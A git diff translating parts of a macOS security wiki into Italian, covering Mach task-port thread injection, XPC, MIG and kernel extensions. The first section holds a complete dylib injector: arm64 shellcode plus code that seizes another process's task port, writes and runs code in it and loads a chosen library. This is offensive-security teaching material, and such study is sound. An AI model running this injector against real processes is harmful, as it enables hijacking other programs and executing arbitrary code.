- ```bash gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject ./inject ``` +### Iniezione di Dylib in thread tramite Task port -### Dylib Injection in thread via Task port +In macOS **i thread** possono essere manipolati tramite **Mach** o utilizzando **l'api posix `pthread`**. Il thread che abbiamo generato nell'iniezione precedente è stato generato utilizzando l'api Mach, quindi **non è conforme a posix**. -In macOS **threads** might be manipulated via **Mach** or using **posix `pthread` api**. The thread we generated in the previous injection, was generated using Mach api, so **it's not posix compliant**. +È stato possibile **iniettare un semplice shellcode** per eseguire un comando perché **non doveva funzionare con api** conformi a posix, solo con Mach. **Iniezioni più complesse** richiederebbero che il **thread** fosse anche **conforme a posix**. -It was possible to **inject a simple shellcode** to execute a command because it **didn't need to work with posix** compliant apis, only with Mach. **More complex injections** would need the **thread** to be also **posix compliant**. +Pertanto, per **migliorare il thread** dovrebbe chiamare **`pthread_create_from_mach_thread`** che **creerà un pthread valido**. Poi, questo nuovo pthread potrebbe **chiamare dlopen** per **caricare un dylib** dal sistema, quindi invece di scrivere nuovo shellcode per eseguire azioni diverse è possibile caricare librerie personalizzate. -Therefore, to **improve the thread** it should call **`pthread_create_from_mach_thread`** which will **create a valid pthread**. Then, this new pthread could **call dlopen** to **load a dylib** from the system, so instead of writing new shellcode to perform different actions it's possible to load custom libraries. - -You can find **example dylibs** in (for example the one that generates a log and then you can listen to it): +Puoi trovare **dylibs di esempio** in (ad esempio quello che genera un log e poi puoi ascoltarlo): {{#ref}} ../../macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -531,7 +515,6 @@ You can find **example dylibs** in (for example the one that generates a log and
dylib_injector.m - ```objectivec // gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector // Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c @@ -557,18 +540,18 @@ You can find **example dylibs** in (for example the one that generates a log and // And I say, bullshit. kern_return_t mach_vm_allocate ( - vm_map_t target, - mach_vm_address_t *address, - mach_vm_size_t size, - int flags +vm_map_t target, +mach_vm_address_t *address, +mach_vm_size_t size, +int flags ); kern_return_t mach_vm_write ( - vm_map_t target_task, - mach_vm_address_t address, - vm_offset_t data, - mach_msg_type_number_t dataCnt +vm_map_t target_task, +mach_vm_address_t address, +vm_offset_t data, +mach_msg_type_number_t dataCnt ); @@ -583,236 +566,233 @@ kern_return_t mach_vm_write char injectedCode[] = - // "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :) +// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :) - // Call pthread_set_self +// Call pthread_set_self - "\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables - "\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack - "\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer - "\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the - "\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct - "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0; - "\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start - "\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0; - "\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread) - "\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread - "\x00\x00\x00\x14" // loop: b loop ; loop forever +"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables +"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack +"\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer +"\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the +"\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct +"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0; +"\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start +"\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0; +"\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread) +"\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread +"\x00\x00\x00\x14" // loop: b loop ; loop forever - // Call dlopen with the path to the library - "\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB..."; - "\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN - "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0; - "\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop - "\x00\x01\x3f\xd6" // BLR X8 ; do dlopen() +// Call dlopen with the path to the library +"\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB..."; +"\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN +"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0; +"\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop +"\x00\x01\x3f\xd6" // BLR X8 ; do dlopen() - // Call pthread_exit - "\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT - "\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0; - "\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit +// Call pthread_exit +"\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT +"\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0; +"\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit - "PTHRDCRT" // <- - "PTHRDEXT" // <- - "DLOPEN__" // <- - "LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ; +"PTHRDCRT" // <- +"PTHRDEXT" // <- +"DLOPEN__" // <- +"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB" +"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" +"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" +"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" +"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" +"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ; int inject(pid_t pid, const char *lib) { - task_t remoteTask; - struct stat buf; +task_t remoteTask; +struct stat buf; - // Check if the library exists - int rc = stat (lib, &buf); +// Check if the library exists +int rc = stat (lib, &buf); - if (rc != 0) - { - fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno)); - //return (-9); - } +if (rc != 0) +{ +fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno)); +//return (-9); +} - // Get access to the task port of the process we want to inject into - kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); - if (kr != KERN_SUCCESS) { - fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); - return (-1); - } - else{ - printf("Gathered privileges over the task port of process: %d\n", pid); - } +// Get access to the task port of the process we want to inject into +kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); +if (kr != KERN_SUCCESS) { +fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); +return (-1); +} +else{ +printf("Gathered privileges over the task port of process: %d\n", pid); +} - // Allocate memory for the stack - mach_vm_address_t remoteStack64 = (vm_address_t) NULL; - mach_vm_address_t remoteCode64 = (vm_address_t) NULL; - kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); +// Allocate memory for the stack +mach_vm_address_t remoteStack64 = (vm_address_t) NULL; +mach_vm_address_t remoteCode64 = (vm_address_t) NULL; +kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); - return (-2); - } - else - { +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); +return (-2); +} +else +{ - fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); - } +fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); +} - // Allocate memory for the code - remoteCode64 = (vm_address_t) NULL; - kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE ); +// Allocate memory for the code +remoteCode64 = (vm_address_t) NULL; +kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE ); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); - return (-2); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); +return (-2); +} - // Patch shellcode +// Patch shellcode - int i = 0; - char *possiblePatchLocation = (injectedCode ); - for (i = 0 ; i < 0x100; i++) - { +int i = 0; +char *possiblePatchLocation = (injectedCode ); +for (i = 0 ; i < 0x100; i++) +{ - // Patching is crude, but works. - // - extern void *_pthread_set_self; - possiblePatchLocation++; +// Patching is crude, but works. +// +extern void *_pthread_set_self; +possiblePatchLocation++; - uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread; - uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit; - uint64_t addrOfDlopen = (uint64_t) dlopen; +uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread; +uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit; +uint64_t addrOfDlopen = (uint64_t) dlopen; - if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0) - { - memcpy(possiblePatchLocation, &addrOfPthreadExit,8); - printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit); - } +if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0) +{ +memcpy(possiblePatchLocation, &addrOfPthreadExit,8); +printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit); +} - if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0) - { - memcpy(possiblePatchLocation, &addrOfPthreadCreate,8); - printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate); - } +if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0) +{ +memcpy(possiblePatchLocation, &addrOfPthreadCreate,8); +printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate); +} - if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0) - { - printf ("DLOpen @%llx\n", addrOfDlopen); - memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t)); - } +if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0) +{ +printf ("DLOpen @%llx\n", addrOfDlopen); +memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t)); +} - if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0) - { - strcpy(possiblePatchLocation, lib ); - } - } +if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0) +{ +strcpy(possiblePatchLocation, lib ); +} +} - // Write the shellcode to the allocated memory - kr = mach_vm_write(remoteTask, // Task port - remoteCode64, // Virtual Address (Destination) - (vm_address_t) injectedCode, // Source - 0xa9); // Length of the source +// Write the shellcode to the allocated memory +kr = mach_vm_write(remoteTask, // Task port +remoteCode64, // Virtual Address (Destination) +(vm_address_t) injectedCode, // Source +0xa9); // Length of the source - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); - return (-3); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); +return (-3); +} - // Set the permissions on the allocated code memory - kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); +// Set the permissions on the allocated code memory +kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); - return (-4); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); +return (-4); +} - // Set the permissions on the allocated stack memory - kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); +// Set the permissions on the allocated stack memory +kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); - return (-4); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); +return (-4); +} - // Create thread to run shellcode - struct arm_unified_thread_state remoteThreadState64; - thread_act_t remoteThread; +// Create thread to run shellcode +struct arm_unified_thread_state remoteThreadState64; +thread_act_t remoteThread; - memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) ); +memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) ); - remoteStack64 += (STACK_SIZE / 2); // this is the real stack - //remoteStack64 -= 8; // need alignment of 16 +remoteStack64 += (STACK_SIZE / 2); // this is the real stack +//remoteStack64 -= 8; // need alignment of 16 - const char* p = (const char*) remoteCode64; +const char* p = (const char*) remoteCode64; - remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; - remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; - remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; - remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64; +remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; +remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; +remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; +remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64; - printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p ); +printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p ); - kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, - (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread ); +kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, +(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread ); - if (kr != KERN_SUCCESS) { - fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); - return (-3); - } +if (kr != KERN_SUCCESS) { +fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); +return (-3); +} - return (0); +return (0); } int main(int argc, const char * argv[]) { - if (argc < 3) - { - fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]); - fprintf (stderr, " _action_: path to a dylib on disk\n"); - exit(0); - } +if (argc < 3) +{ +fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]); +fprintf (stderr, " _action_: path to a dylib on disk\n"); +exit(0); +} - pid_t pid = atoi(argv[1]); - const char *action = argv[2]; - struct stat buf; +pid_t pid = atoi(argv[1]); +const char *action = argv[2]; +struct stat buf; - int rc = stat (action, &buf); - if (rc == 0) inject(pid,action); - else - { - fprintf(stderr,"Dylib not found\n"); - } +int rc = stat (action, &buf); +if (rc == 0) inject(pid,action); +else +{ +fprintf(stderr,"Dylib not found\n"); +} } ``` -
- ```bash gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector ./inject ``` - ### Thread Hijacking via Task port -In this technique a thread of the process is hijacked: +In questa tecnica un thread del processo viene hijacked: {{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md @@ -820,11 +800,11 @@ In this technique a thread of the process is hijacked: ## XPC -### Basic Information +### Informazioni di base -XPC, which stands for XNU (the kernel used by macOS) inter-Process Communication, is a framework for **communication between processes** on macOS and iOS. XPC provides a mechanism for making **safe, asynchronous method calls between different processes** on the system. It's a part of Apple's security paradigm, allowing for the **creation of privilege-separated applications** where each **component** runs with **only the permissions it needs** to do its job, thereby limiting the potential damage from a compromised process. +XPC, che sta per XNU (il kernel utilizzato da macOS) inter-Process Communication, è un framework per **la comunicazione tra processi** su macOS e iOS. XPC fornisce un meccanismo per effettuare **chiamate di metodo sicure e asincrone tra diversi processi** sul sistema. Fa parte del paradigma di sicurezza di Apple, consentendo la **creazione di applicazioni separate per privilegi** in cui ogni **componente** funziona con **solo i permessi necessari** per svolgere il proprio lavoro, limitando così il potenziale danno derivante da un processo compromesso. -For more information about how this **communication work** on how it **could be vulnerable** check: +Per ulteriori informazioni su come questa **comunicazione funziona** e su come potrebbe **essere vulnerabile** controlla: {{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/ @@ -832,15 +812,15 @@ For more information about how this **communication work** on how it **could be ## MIG - Mach Interface Generator -MIG was created to **simplify the process of Mach IPC** code creation. It basically **generates the needed code** for server and client to communicate with a given definition. Even if the generated code is ugly, a developer will just need to import it and his code will be much simpler than before. +MIG è stato creato per **semplificare il processo di creazione del codice Mach IPC**. Fondamentalmente **genera il codice necessario** per il server e il client per comunicare con una definizione data. Anche se il codice generato è brutto, un sviluppatore dovrà solo importarlo e il suo codice sarà molto più semplice di prima. -For more info check: +Per ulteriori informazioni controlla: {{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md {{#endref}} -## References +## Riferimenti - [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html) - [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md index 4258ded90..291675032 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md @@ -2,40 +2,39 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di base -Kernel extensions (Kexts) are **packages** with a **`.kext`** extension that are **loaded directly into the macOS kernel space**, providing additional functionality to the main operating system. +Le estensioni del kernel (Kexts) sono **pacchetti** con un'estensione **`.kext`** che vengono **caricati direttamente nello spazio del kernel di macOS**, fornendo funzionalità aggiuntive al sistema operativo principale. -### Requirements +### Requisiti -Obviously, this is so powerful that it is **complicated to load a kernel extension**. These are the **requirements** that a kernel extension must meet to be loaded: +Ovviamente, questo è così potente che è **complicato caricare un'estensione del kernel**. Questi sono i **requisiti** che un'estensione del kernel deve soddisfare per essere caricata: -- When **entering recovery mode**, kernel **extensions must be allowed** to be loaded: +- Quando si **entra in modalità di recupero**, le **estensioni del kernel devono essere autorizzate** a essere caricate:
-- The kernel extension must be **signed with a kernel code signing certificate**, which can only be **granted by Apple**. Who will review in detail the company and the reasons why it is needed. -- The kernel extension must also be **notarized**, Apple will be able to check it for malware. -- Then, the **root** user is the one who can **load the kernel extension** and the files inside the package must **belong to root**. -- During the upload process, the package must be prepared in a **protected non-root location**: `/Library/StagedExtensions` (requires the `com.apple.rootless.storage.KernelExtensionManagement` grant). -- Finally, when attempting to load it, the user will [**receive a confirmation request**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) and, if accepted, the computer must be **restarted** to load it. +- L'estensione del kernel deve essere **firmata con un certificato di firma del codice del kernel**, che può essere **concesso solo da Apple**. Chi esaminerà in dettaglio l'azienda e le ragioni per cui è necessaria. +- L'estensione del kernel deve anche essere **notarizzata**, Apple sarà in grado di controllarla per malware. +- Poi, l'utente **root** è colui che può **caricare l'estensione del kernel** e i file all'interno del pacchetto devono **appartenere a root**. +- Durante il processo di caricamento, il pacchetto deve essere preparato in una **posizione protetta non-root**: `/Library/StagedExtensions` (richiede il grant `com.apple.rootless.storage.KernelExtensionManagement`). +- Infine, quando si tenta di caricarlo, l'utente riceverà una [**richiesta di conferma**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) e, se accettata, il computer deve essere **riavviato** per caricarlo. -### Loading process +### Processo di caricamento -In Catalina it was like this: It is interesting to note that the **verification** process occurs in **userland**. However, only applications with the **`com.apple.private.security.kext-management`** grant can **request the kernel to load an extension**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd` +In Catalina era così: È interessante notare che il processo di **verifica** avviene in **userland**. Tuttavia, solo le applicazioni con il grant **`com.apple.private.security.kext-management`** possono **richiedere al kernel di caricare un'estensione**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd` -1. **`kextutil`** cli **starts** the **verification** process for loading an extension - - It will talk to **`kextd`** by sending using a **Mach service**. -2. **`kextd`** will check several things, such as the **signature** - - It will talk to **`syspolicyd`** to **check** if the extension can be **loaded**. -3. **`syspolicyd`** will **prompt** the **user** if the extension has not been previously loaded. - - **`syspolicyd`** will report the result to **`kextd`** -4. **`kextd`** will finally be able to **tell the kernel to load** the extension +1. **`kextutil`** cli **avvia** il processo di **verifica** per caricare un'estensione +- Parlerà con **`kextd`** inviando utilizzando un **servizio Mach**. +2. **`kextd`** controllerà diverse cose, come la **firma** +- Parlerà con **`syspolicyd`** per **verificare** se l'estensione può essere **caricata**. +3. **`syspolicyd`** **chiederà** all'**utente** se l'estensione non è stata caricata in precedenza. +- **`syspolicyd`** riporterà il risultato a **`kextd`** +4. **`kextd`** sarà infine in grado di **dire al kernel di caricare** l'estensione -If **`kextd`** is not available, **`kextutil`** can perform the same checks. - -### Enumeration (loaded kexts) +Se **`kextd`** non è disponibile, **`kextutil`** può eseguire gli stessi controlli. +### Enumerazione (kexts caricati) ```bash # Get loaded kernel extensions kextstat @@ -43,40 +42,38 @@ kextstat # Get dependencies of the kext number 22 kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1 ``` - ## Kernelcache > [!CAUTION] -> Even though the kernel extensions are expected to be in `/System/Library/Extensions/`, if you go to this folder you **won't find any binary**. This is because of the **kernelcache** and in order to reverse one `.kext` you need to find a way to obtain it. +> Anche se ci si aspetta che le estensioni del kernel siano in `/System/Library/Extensions/`, se si va in questa cartella **non si troverà alcun binario**. Questo è dovuto al **kernelcache** e per fare il reverse di un `.kext` è necessario trovare un modo per ottenerlo. -The **kernelcache** is a **pre-compiled and pre-linked version of the XNU kernel**, along with essential device **drivers** and **kernel extensions**. It's stored in a **compressed** format and gets decompressed into memory during the boot-up process. The kernelcache facilitates a **faster boot time** by having a ready-to-run version of the kernel and crucial drivers available, reducing the time and resources that would otherwise be spent on dynamically loading and linking these components at boot time. +Il **kernelcache** è una **versione pre-compilata e pre-collegata del kernel XNU**, insieme a **driver** e **estensioni del kernel** essenziali. È memorizzato in un formato **compresso** e viene decompresso in memoria durante il processo di avvio. Il kernelcache facilita un **tempo di avvio più veloce** avendo una versione pronta all'uso del kernel e dei driver cruciali disponibili, riducendo il tempo e le risorse che altrimenti verrebbero spese per caricare e collegare dinamicamente questi componenti all'avvio. ### Local Kerlnelcache -In iOS it's located in **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** in macOS you can find it with: **`find / -name "kernelcache" 2>/dev/null`** \ -In my case in macOS I found it in: +In iOS si trova in **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** in macOS puoi trovarlo con: **`find / -name "kernelcache" 2>/dev/null`** \ +Nel mio caso in macOS l'ho trovato in: - `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache` #### IMG4 -The IMG4 file format is a container format used by Apple in its iOS and macOS devices for securely **storing and verifying firmware** components (like **kernelcache**). The IMG4 format includes a header and several tags which encapsulate different pieces of data including the actual payload (like a kernel or bootloader), a signature, and a set of manifest properties. The format supports cryptographic verification, allowing the device to confirm the authenticity and integrity of the firmware component before executing it. +Il formato di file IMG4 è un formato contenitore utilizzato da Apple nei suoi dispositivi iOS e macOS per **memorizzare e verificare in modo sicuro i componenti del firmware** (come il **kernelcache**). Il formato IMG4 include un'intestazione e diversi tag che racchiudono diversi pezzi di dati, inclusi il payload effettivo (come un kernel o un bootloader), una firma e un insieme di proprietà del manifesto. Il formato supporta la verifica crittografica, consentendo al dispositivo di confermare l'autenticità e l'integrità del componente del firmware prima di eseguirlo. -It's usually composed of the following components: +È solitamente composto dai seguenti componenti: - **Payload (IM4P)**: - - Often compressed (LZFSE4, LZSS, …) - - Optionally encrypted +- Spesso compresso (LZFSE4, LZSS, …) +- Facoltativamente crittografato - **Manifest (IM4M)**: - - Contains Signature - - Additional Key/Value dictionary +- Contiene la firma +- Dizionario chiave/valore aggiuntivo - **Restore Info (IM4R)**: - - Also known as APNonce - - Prevents replaying of some updates - - OPTIONAL: Usually this isn't found - -Decompress the Kernelcache: +- Conosciuto anche come APNonce +- Previene la ripetizione di alcuni aggiornamenti +- OPZIONALE: Di solito questo non viene trovato +Decomprimere il Kernelcache: ```bash # img4tool (https://github.com/tihmstar/img4tool img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e @@ -84,49 +81,39 @@ img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e # pyimg4 (https://github.com/m1stadev/PyIMG4) pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e ``` - ### Download - [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases) -In [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) it's possible to find all the kernel debug kits. You can download it, mount it, open it with [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html) tool, access the **`.kext`** folder and **extract it**. - -Check it for symbols with: +In [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) è possibile trovare tutti i kernel debug kits. Puoi scaricarlo, montarlo, aprirlo con lo strumento [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html), accedere alla cartella **`.kext`** e **estrarlo**. +Controllalo per simboli con: ```bash nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l ``` - - [**theapplewiki.com**](https://theapplewiki.com/wiki/Firmware/Mac/14.x)**,** [**ipsw.me**](https://ipsw.me/)**,** [**theiphonewiki.com**](https://www.theiphonewiki.com/) -Sometime Apple releases **kernelcache** with **symbols**. You can download some firmwares with symbols by following links on those pages. The firmwares will contain the **kernelcache** among other files. +A volte Apple rilascia **kernelcache** con **simboli**. Puoi scaricare alcuni firmware con simboli seguendo i link su quelle pagine. I firmware conterranno il **kernelcache** tra gli altri file. -To **extract** the files start by changing the extension from `.ipsw` to `.zip` and **unzip** it. +Per **estrarre** i file inizia cambiando l'estensione da `.ipsw` a `.zip` e **decomprimi**. -After extracting the firmware you will get a file like: **`kernelcache.release.iphone14`**. It's in **IMG4** format, you can extract the interesting info with: +Dopo aver estratto il firmware otterrai un file come: **`kernelcache.release.iphone14`**. È in formato **IMG4**, puoi estrarre le informazioni interessanti con: [**pyimg4**](https://github.com/m1stadev/PyIMG4)**:** - ```bash pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e ``` - [**img4tool**](https://github.com/tihmstar/img4tool)**:** - ```bash img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e ``` +### Ispezionare kernelcache -### Inspecting kernelcache - -Check if the kernelcache has symbols with - +Controlla se il kernelcache ha simboli con ```bash nm -a kernelcache.release.iphone14.e | wc -l ``` - -With this we can now **extract all the extensions** or the **one you are interested in:** - +Con questo possiamo ora **estrarre tutte le estensioni** o **quella che ti interessa:** ```bash # List all extensions kextex -l kernelcache.release.iphone14.e @@ -139,10 +126,9 @@ kextex_all kernelcache.release.iphone14.e 